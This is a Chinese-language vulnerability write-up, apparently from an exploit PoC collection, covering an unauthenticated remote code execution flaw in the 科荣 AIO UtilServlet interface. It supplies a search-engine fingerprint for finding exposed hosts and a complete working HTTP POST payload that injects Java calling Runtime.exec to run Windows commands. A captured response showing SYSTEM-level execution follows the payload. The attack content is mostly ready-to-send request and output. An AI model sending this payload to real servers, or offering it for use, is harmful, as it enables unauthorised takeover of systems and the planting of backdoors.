

# K1-1科荣-AIO-RCE

## 漏洞描述：

科荣AIO UtilServlet 接口处存[远程代码执行](#)漏洞，未经身份验证的攻击者可通过该漏洞远程执行恶意代码，写入后门文件，可获取服务器权限。

## 影响版本：

- 科荣-AIO

## 网站图片：



## 网络测绘：

### fofa语法：

钟馗之眼: "changeAccount('8000')"

## 漏洞复现：

### payload:

```
POST /UtilServlet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine()+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field
```

### 效果图：

Request

< > 数据包扫描 热加载 构造请求

1 POST /UtilServlet HTTP/1.1

2 Host: 10.10.10.8000

3 Content-Type: application/x-www-form-urlencoded

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

5

6 operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine()+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example\_field

Responses 19bytes / 428ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=CE57F3A7166E94D8EE3

4 Content-Type: text/html; charset=utf-8

5 Vary: Accept-Encoding

6 Date: Tue, 16 Jan 2024 11:27:54 GMT

7 Content-Length: 19

8

9 nt:authority\system